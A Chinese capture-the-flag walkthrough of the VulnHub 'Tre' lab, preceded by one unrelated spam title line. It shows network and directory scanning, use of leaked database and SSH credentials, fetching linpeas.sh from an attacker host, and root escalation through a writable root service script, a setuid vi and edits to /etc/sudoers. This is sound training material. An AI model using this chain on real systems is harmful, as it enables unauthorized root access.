苏州虎丘区建设局网站网站的结构与布局优化
Tre靶场通关
通过信息收集获得到了普通用户账号密码，利用PEASS-ng的linpeas脚本进行提权的信息收集，根据已有信息进行提权。
靶机下载地址：
https://download.vulnhub.com/tre/Tre.zip
信息收集
靶机IP探测：192.168.0.129
arp-scan -l
端口扫描
nmap -p 1-65535 -sV -A 192.168.0.129
22
80
8082
目录扫描
python dirsearch.py -u "http://192.168.0.129"
info.php
adminer.php
dirsearch默认字典没扫除其他有用信息，看别人通关原来是字典的原因，利用dirb大字典扫描目录
dirb http://192.168.0.129 /usr/share/wordlists/dirb/big.txt
dirb扫描文件用以下命令
dirb http://192.168.0.129 /usr/share/wordlists/dirb/big.txt -X .php
在扫描的
http://192.168.0.129/mantisbt/config/ 目录下的a.txt文件发现数据库的信息
# --- Database Configuration ---
$g_hostname = 'localhost';
$g_db_username = 'mantissuser';
$g_db_password = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type = 'mysqli';
在adminer.php页面进行登录
找到了用户密码信息
其中Tre用户可以直接ssh登录
usr:tre
pwd:Tr3@123456A!ssh tre@192.168.0.129
提权阶段
接下来对tre用户进行提权
主要学习下LinPEAS这个提权脚本（Linux/Unix/MacOS），同PEASS-ng里还有Windows的提权脚本WinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
LinPEAS是一个没有任何依赖的脚本，它使用/bin/sh语法，用于搜索在 Linux/Unix*/MacOS 主机上搜索可能的权限提升路径。默认情况下，LinPEAS 不会向磁盘写入任何内容，也不会尝试以任何其他用户身份使用 su 。
该脚本工具枚举并搜索主机内部可能的错误配置（已知漏洞、用户、进程和文件权限、特殊文件权限、可读/可写文件、暴力破解其他用户（top1000pwds）、密码…），并用颜色突出显示可能的错误配置。
给执行权限，看一下命令参数
chmod 777 linpeas.sh
./linpeas.sh -h
开启http服务将脚本传到靶机
python -m http.server 80
靶机执行
wget http://192.168.0.130/linpeas.sh
给权限运行脚本，由于内容比较多输出到一个文件中方便查看
./linpeas.sh > 1.txt
在kali攻击机中将生成的文件拷贝出来
rsync -avz tre@192.168.0.129:/home/tre/1.txt /root/linpeas.txt-a:保持原属性
-v：详细信息
-z：在传输文件时压缩减少网络带宽占用
对生成的报告文件进行分析
more linpeas.txt
内嵌了linux-exploit-suggester,可以根据扫描出的内核漏洞进行提权
发现存在一条/bin/bash /usr/bin/check-system的进程，是root用户启动的
查看check-system脚本
cat /usr/bin/check-system
在脚本中发现该脚本的作用是输出Service started at+当前日期，重定向到系统日志等级为info，之后跟了一段死循环一直Checking…让我们发现这个进程用的
不难判断这个一定是开机自启动项，验证一下
ls /etc/systemd/system
cat /etc/systemd/system/check-system.service
或者直接
systemctl list-unit-files | grep enable
提权思路有了：更改这个脚本给vi编辑器s权限，让服务器重启生效，通过vi修改/etc/passwd
有两个问题需要判断：
1.脚本是否有写权限（有）
2.服务器如何重启
发现tre用户有shutdown的sudo权限
利用命令重启
sudo shutdown -r now
发现条件都具备了，修改脚本
进行重启，重新连接，之后vi编辑器就具备了sudo权限，可以横着走了
想改/etc/passwd加一条用户
tpa:123456:0:0:tpa:/root:/bin/bash
但不知道为什么利用用户tpa和密码123456登录不上去
尝试其他方法，想到修改sudo权限，给tre用户增加全部命令的sudo权限
vi /etc/sudoers
直接利用sudo反弹到root，拿到flag
sudo /bin/bash
